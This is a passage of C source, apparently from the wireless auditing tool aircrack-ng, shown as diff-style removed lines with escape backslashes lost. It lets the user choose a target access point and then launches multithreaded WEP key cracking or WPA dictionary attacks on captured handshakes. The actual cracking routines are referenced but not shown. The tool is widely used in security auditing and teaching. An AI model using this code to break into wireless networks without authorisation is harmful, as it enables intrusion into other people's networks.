- printf( "Please specify an ESSID or BSSID.n" );
- goto exit_main;
- }
- printf( " # BSSID%14sESSID%21sEncryptionnn", "", "" );
- i = 1;
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- printf( "%4d %02X:%02X:%02X:%02X:%02X:%02X %-24s ",
- i, ap_cur->bssid[0], ap_cur->bssid[1],
- ap_cur->bssid[2], ap_cur->bssid[3],
- ap_cur->bssid[4], ap_cur->bssid[5],
- ap_cur->essid );
- if( ap_cur->eapol )
- printf( "EAPOL+" );
- switch( ap_cur->crypt )
- {
- case 0: printf( "None (%d.%d.%d.%d)n",
- ap_cur->lanip[0], ap_cur->lanip[1],
- ap_cur->lanip[2], ap_cur->lanip[3] );
- break;
- case 1: printf( "No data - WEP or WPAn" );
- break;
- case 2: printf( "WEP (%ld IVs)n",
- ap_cur->nb_ivs );
- break;
- case 3: printf( "WPA (%d handshake)n",
- ap_cur->wpa.state == 15 );
- break;
- default: printf( "Unknownn" );
- break;
- }
- i++; ap_cur = ap_cur->next;
- }
- printf( "n" );
- if( ap_1st->next != NULL )
- {
- do
- {
- printf( "Index number of target network ? " );
- fflush( stdout );
- scanf( "%127s", buf );
- if( ( n = atoi( buf ) ) < 1 )
- continue;
- i = 1; ap_cur = ap_1st;
- while( ap_cur != NULL && i < n )
- { i++; ap_cur = ap_cur->next; }
- }
- while( n < 0 || ap_cur == NULL );
- }
- else
- {
- printf( "Choosing first network as target.n" );
- sleep( 2 );
- ap_cur = ap_1st;
- }
- printf( "n" );
- memcpy( opt.bssid, ap_cur->bssid, 6 );
- opt.bssid_set = 1;
- }
- /* mark the targeted access point(s) */
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 ||
- ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) ||
- ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) )
- ap_cur->target = 1;
- ap_cur = ap_cur->next;
- }
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( ap_cur->target )
- break;
- ap_cur = ap_cur->next;
- }
- if( ap_cur == NULL )
- {
- printf( "No matching network found - check your %s.n",
- ( opt.essid_set ) ? "essid" : "bssid" );
- goto exit_main;
- }
- if( ap_cur->crypt < 2 )
- {
- switch( ap_cur->crypt )
- {
- case 0:
- printf( "Target network doesn't seem encrypted.n" );
- break;
- default:
- printf( "Got no data packets from target network!n" );
- break;
- }
- goto exit_main;
- }
- /* create the cracker<->master communication pipes */
- for( i = 0; i < opt.nbcpu; i++ )
- {
- pipe( mc_pipe[i] );
- pipe( cm_pipe[i] );
- }
- /* launch the attack */
- nb_tried = 0;
- nb_kprev = 0;
- chrono( &t_begin, 1 );
- chrono( &t_stats, 1 );
- chrono( &t_kprev, 1 );
- signal( SIGWINCH, sighandler );
- if( opt.amode == 1 )
- goto crack_wep;
- if( opt.amode == 2 )
- goto crack_wpa;
- if( ap_cur->crypt == 2 )
- {
- crack_wep:
- if( opt.keylen == 0 )
- opt.keylen = 13;
- if( opt.ffact == 0 )
- {
- if( ! opt.do_testy )
- {
- if( opt.keylen == 5 )
- opt.ffact = 5;
- else
- opt.ffact = 2;
- }
- else
- opt.ffact = 30;
- }
- memset( &wep, 0, sizeof( wep ) );
- for( i = 0; i < opt.nbcpu; i++ )
- {
- /* start one thread per cpu */
- pthread_t tid;
- if( pthread_create( &tid, NULL, (void *) crack_wep_thread,
- (void *) (long) i ) != 0 )
- {
- perror( "pthread_create failed" );
- goto exit_main;
- }
- }
- if( ! opt.do_testy )
- {
- do { ret = do_wep_crack1( 0 ); }
- while( ret == RESTART );
- if( ret == FAILURE )
- printf( " Attack failed. Possible reasons:nn"
- " * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
- " can be cracked with about one million IVs, sometimes more.nn"
- " * If all votes seem equal, or if there are many negative votes,n"
- " then the capture file is corrupted, or the key is not static.nn"
- " * A false positive prevented the key from being found. Try ton"
- " disable each korek attack (-k 1 .. 17), raise the fudge factorn"
- " (-f) and try the experimental bruteforce attacks (-x / -y).n" );
- }
- else
- {
- for( i = opt.keylen - 3; i < opt.keylen - 2; i++ )
- {
- do { ret = do_wep_crack2( i ); }
- while( ret == RESTART );
- if( ret == SUCCESS )
- break;
- }
- if( ret == FAILURE )
- printf( " Attack failed. Possible reasons:nn"
- " * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
- " can be cracked with about one million IVs, sometimes more.nn"
- " * If all votes seem equal, or if there are many negative votes,n"
- " then the capture file is corrupted, or the key is not static.nn"
- " * A false positive prevented the key from being found. Try ton"
- " disable each korek attack (-k 1 .. 17), raise the fudge factorn"
- " (-f) or try the standard attack mode instead (no -y option).n" );
- }
- }
- if( ap_cur->crypt == 3 )
- {
- crack_wpa:
- if( opt.dict == NULL )
- {
- printf( "Please specify a dictionary (option -w).n" );
- goto exit_main;
- }
- ap_cur = ap_1st;
- while( ap_cur != NULL )
- {
- if( ap_cur->target && ap_cur->wpa.state == 15 )
- break;
- ap_cur = ap_cur->next;
- }
- if( ap_cur == NULL )
- {
- printf( "No valid WPA handshakes found.n" );
- goto exit_main;
- }
- if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
- {
- printf( "An ESSID is required. Try option -e.n" );
- goto exit_main;
- }
- if( opt.essid_set && ap_cur->essid[0] == ' ' )
- {
- memset( ap_cur->essid, 0, sizeof( ap_cur->essid ) );
- strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
- }
- for( i = 0; i < opt.nbcpu; i++ )
- {
- /* start one thread per cpu */
- pthread_t tid;
- if( pthread_create( &tid, NULL, (void *) crack_wpa_thread,
- (void *) (long) i ) != 0 )
- {
- perror( "pthread_create failed" );
- goto exit_main;
- }
- }
- ret = do_wpa_crack( ap_cur );
- }
- exit_main:
- if( ! opt.is_quiet )
- printf( "n" );
- fflush( stdout );
- if( ret == SUCCESS ) kill( 0, SIGQUIT );
- if( ret == FAILURE ) kill( 0, SIGTERM );
- _exit( ret );
- }